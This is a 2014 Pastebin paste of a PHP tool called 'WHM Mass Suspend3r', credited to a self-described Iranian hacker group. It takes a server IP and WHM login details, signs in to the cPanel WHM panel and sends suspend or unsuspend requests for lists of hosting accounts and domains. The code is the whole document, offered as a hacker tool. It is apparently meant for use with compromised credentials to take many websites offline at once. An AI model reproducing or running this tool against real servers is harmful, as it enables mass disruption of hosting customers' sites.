Advertisement
snip3r_ir

whm mass suspender

Jan 22nd, 2014
172
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.35 KB | None | 0 0
  1. <?php
  2. /*=========================================|
  3.                                            |
  4. #  WHM            Mass         Suspend3r   |
  5.                                            |
  6. #             Iranian Hacker               |
  7.                                            |
  8. #      ali ahmady - pHaNtOm_X - b0x        |
  9.           video tut : http://www.mediafire.com/download/yr77p1as06c8fwi/whm_mass_aliAhmady.rar                                 |
  10. #                                          |
  11. ==========================================*/
  12. ?>
  13.  
  14. <html>
  15. <head>
  16. <title>___WHM Mass Suspend3r___ </title>
  17. <link rel="shortcut icon" href='http://www.rsyncit.com/images/whm-icon.png' />
  18. <meta http-equiv=Content-Type content=text/html; charset=UTF-8>
  19. <?php
  20. $sh3llColor = "#990000";
  21. echo CSS($sh3llColor)
  22. ?>
  23. </head>
  24. <!--exp-->
  25. <center>
  26. <p><span lang="en-us"><font color="#4CC417" size="5">___WHM Mass Suspend3r___ </font>
  27. </span></p>
  28. <p><img src="http://www.rsyncit.com/images/whm-icon.png" height="80" width="80"/></p>
  29. <form method="POST" action="" align="center">
  30. <font color="red" size="4"> server ip : </font>
  31. <input type="text" name="ip"/>
  32. <font color="red" size="4"> whm user : </font>
  33. <input type="text" name="username"/>
  34. <font color="red" size="4"> whm pass : </font>
  35. <input type="text" name="password"/><br/><br/>
  36. <textarea rows="10" style="height:40%;" value="" name="user">Enter Users Here</textarea>
  37. <textarea rows="10" style="height:40%;" value="" name="domain">Enter Domains Here</textarea><br/><br/>
  38. <input type="submit" name="suspend" value="Suspend!"/>
  39. <input type="submit" name="unsuspend" value="Unsuspend!"/>
  40. </form>
  41. </td></tr></table></p>
  42. </form>
  43. <!--/exp-->
  44. </center>
  45.  
  46. <?php
  47. echo "
  48. <center><table>";
  49.  
  50. ini_set('max_execution_time', 300);
  51.  
  52. if(isset($_POST['suspend']))
  53. {  
  54.     $ip=$_POST['ip'];
  55.     $username = $_POST['username'];
  56.     $password = $_POST['password'];
  57.    
  58.     $url = "http://".$ip.":2086/login/?login_only=1";
  59.    
  60.     $login_data = "user=".$username . "&pass=". $password;
  61.    
  62.     $fp = fopen('cookie.txt', 'w');
  63.  
  64.     $login = curl_init();
  65.     curl_setopt($login, CURLOPT_COOKIESESSION, 1);
  66.     curl_setopt($login, CURLOPT_COOKIEJAR, 'cookie.txt');
  67.     curl_setopt($login, CURLOPT_COOKIEFILE, 'cookie.txt');
  68.     curl_setopt($login, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0');
  69.     curl_setopt($login, CURLOPT_TIMEOUT, 40);
  70.     curl_setopt($login, CURLOPT_RETURNTRANSFER, 1);        
  71.     curl_setopt($login, CURLOPT_URL, $url);
  72.     curl_setopt($login, CURLOPT_HEADER, 1);    
  73.     curl_setopt($login, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  74.     curl_setopt($login, CURLOPT_FOLLOWLOCATION, 1);
  75.     curl_setopt($login, CURLOPT_POST, 1);
  76.     curl_setopt($login, CURLOPT_POSTFIELDS, $login_data);
  77.     $content= curl_exec($login);   
  78.    
  79.  
  80.     $user = explode("\n", $_POST['user']);
  81.     $domain = explode("\n", $_POST['domain']);
  82.    
  83.     for($i=0; $i < count($user); $i++)
  84.     {
  85.         $urlatt = "http://".$ip.":2086/scripts2/suspendacct?domain=". trim($domain[$i]) . "&user=".trim($user[$i]) ."&suspend-domain=Suspend&reason=";
  86.        
  87.         curl_setopt($login, CURLOPT_COOKIESESSION, 1);
  88.         curl_setopt($login, CURLOPT_RETURNTRANSFER, 1);        
  89.         curl_setopt($login, CURLOPT_URL, $urlatt);
  90.         $content= curl_exec($login);
  91.         echo "</p><font color=\"#E5E4E2\">";
  92.         echo $domain[$i]." -> done<br />";
  93.         echo "</font></p>";    
  94.     }
  95.    
  96.     fclose($fp);
  97.     curl_close($login);
  98. }  
  99. else if(isset($_POST['unsuspend']))
  100. {
  101.     $ip=$_POST['ip'];
  102.     $username = $_POST['username'];
  103.     $password = $_POST['password'];
  104.    
  105.     $url = "http://".$ip.":2086/login/?login_only=1";
  106.    
  107.     $login_data = "user=".$username . "&pass=". $password;
  108.    
  109.     $fp = fopen('cookie.txt', 'w');
  110.  
  111.     $login = curl_init();
  112.     curl_setopt($login, CURLOPT_COOKIESESSION, 1);
  113.     curl_setopt($login, CURLOPT_COOKIEJAR, 'cookie.txt');
  114.     curl_setopt($login, CURLOPT_COOKIEFILE, 'cookie.txt');
  115.     curl_setopt($login, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0');
  116.     curl_setopt($login, CURLOPT_TIMEOUT, 40);
  117.     curl_setopt($login, CURLOPT_RETURNTRANSFER, 1);        
  118.     curl_setopt($login, CURLOPT_URL, $url);
  119.     curl_setopt($login, CURLOPT_HEADER, 1);    
  120.     curl_setopt($login, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  121.     curl_setopt($login, CURLOPT_FOLLOWLOCATION, 1);
  122.     curl_setopt($login, CURLOPT_POST, 1);
  123.     curl_setopt($login, CURLOPT_POSTFIELDS, $login_data);
  124.     $content= curl_exec($login);   
  125.  
  126.     $user = explode("\n", $_POST['user']);
  127.     $domain = explode("\n", $_POST['domain']);
  128.        
  129.     for($i=0; $i < count($user); $i++)
  130.     {
  131.        
  132.         $urlatt = "http://".$ip.":2086/scripts2/suspendacct?domain=". trim($domain[$i]) . "&user=".trim($user[$i]) ."&unsuspend-domain=Unsuspend&reason=";
  133.            
  134.         curl_setopt($login, CURLOPT_COOKIESESSION, 1);
  135.         curl_setopt($login, CURLOPT_RETURNTRANSFER, 1);        
  136.         curl_setopt($login, CURLOPT_URL, $urlatt);
  137.         $content= curl_exec($login);
  138.         echo "</p><font color=\"#E5E4E2\">";
  139.         echo $domain[$i]." -> done<br />";
  140.         echo "</font></p>";    
  141.     }      
  142.     curl_close($login);
  143. }
  144. echo "</table></center>";
  145.     function CSS($sh3llColor)
  146. {
  147.     $css =  "
  148.     <style>
  149.     BODY
  150.     {
  151.         FONT-FAMILY: Verdana;
  152.         margin: 2;
  153.         color: #cccccc;
  154.         background-color: #34282C;
  155.     }
  156.     sy  
  157.     {
  158.         color:".$sh3llColor.";
  159.         font-size:7pt;
  160.         font-weight: bold;
  161.     }
  162.     #Box
  163.     {
  164.     color:".$sh3llColor.";
  165.     font-size:14px;
  166.     background-color:#000;
  167.     font-weight:bold;
  168.     width:500px;
  169.     }
  170.     tr
  171.     {
  172.     BORDER-RIGHT:  #cccccc 1px solid;
  173.     BORDER-TOP:    #cccccc 1px solid;
  174.     BORDER-LEFT:   #cccccc 1px solid;
  175.     BORDER-BOTTOM: #cccccc 1px solid;
  176.     color: #ffffff;
  177.     }
  178.     td
  179.     {
  180.     BORDER-RIGHT:  #cccccc 1px solid;
  181.     BORDER-TOP:    #cccccc 1px solid;
  182.     BORDER-LEFT:   #cccccc 1px solid;
  183.     BORDER-BOTTOM: #cccccc 1px solid;
  184.     color: #cccccc;
  185.     }
  186.     table
  187.     {
  188.     BORDER:  #eeeeee  outset;
  189.     BACKGROUND-COLOR: #000000;
  190.     color: #cccccc;
  191.     }
  192.     input
  193.     {
  194.     BORDER-RIGHT:  ".$sh3llColor." 1px solid;
  195.     BORDER-TOP:    ".$sh3llColor." 1px solid;
  196.     BORDER-LEFT:   ".$sh3llColor." 1px solid;
  197.     BORDER-BOTTOM: ".$sh3llColor." 1px solid;
  198.     BACKGROUND-COLOR: #333333;
  199.     font: 9pt tahoma;
  200.     color: #ffffff;
  201.     }
  202.     select
  203.     {
  204.     BORDER-RIGHT:  #ffffff 1px solid;
  205.     BORDER-TOP:    #999999 1px solid;
  206.     BORDER-LEFT:   #999999 1px solid;
  207.     BORDER-BOTTOM: #ffffff 1px solid;
  208.     BACKGROUND-COLOR: #000000;
  209.     font: 9pt tahoma;
  210.     color: #CCCCCC;;
  211.     }
  212.     submit
  213.     {
  214.     BORDER:  1px outset buttonhighlight;
  215.     BACKGROUND-COLOR: #272727;
  216.     width: 40%;
  217.     color: #cccccc;
  218.     }
  219.     textarea
  220.     {
  221.     BORDER-RIGHT:  #ffffff 1px solid;
  222.     BORDER-TOP:    #999999 1px solid;
  223.     BORDER-LEFT:   #999999 1px solid;
  224.     BORDER-BOTTOM: #ffffff 1px solid;
  225.     BACKGROUND-COLOR: #333333;
  226.     color: #ffffff;
  227.     }
  228.     A:link {COLOR:".$sh3llColor."; TEXT-DECORATION: none}
  229.     A:visited { COLOR:".$sh3llColor."; TEXT-DECORATION: none}
  230.     A:active {COLOR:".$sh3llColor."; TEXT-DECORATION: none}
  231.     A:hover {color:blue;TEXT-DECORATION: none}
  232.     </style>";
  233.     return $css;
  234. }
  235. function footer()
  236. {
  237.     echo '
  238. <head>
  239. <meta http-equiv="Content-Language" content="en-us">
  240. </head>
  241. <font color="#000000">
  242. <p align="center"><font color="#4CC417" size="5">Tool by ali ahmady</p></font>
  243. <p align="center"><font color="#4CC417" size="5">We Are: ali ahmady + pHaNtOm_X + b0x</font></p>
  244.  
  245. </font>
  246. </html>
  247.     ';
  248. }
  249. function filter($string)
  250. {
  251.     if(get_magic_quotes_gpc() != 0){return stripslashes($string);   }
  252.     else{return $string;    }
  253. }
  254. footer();
  255. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement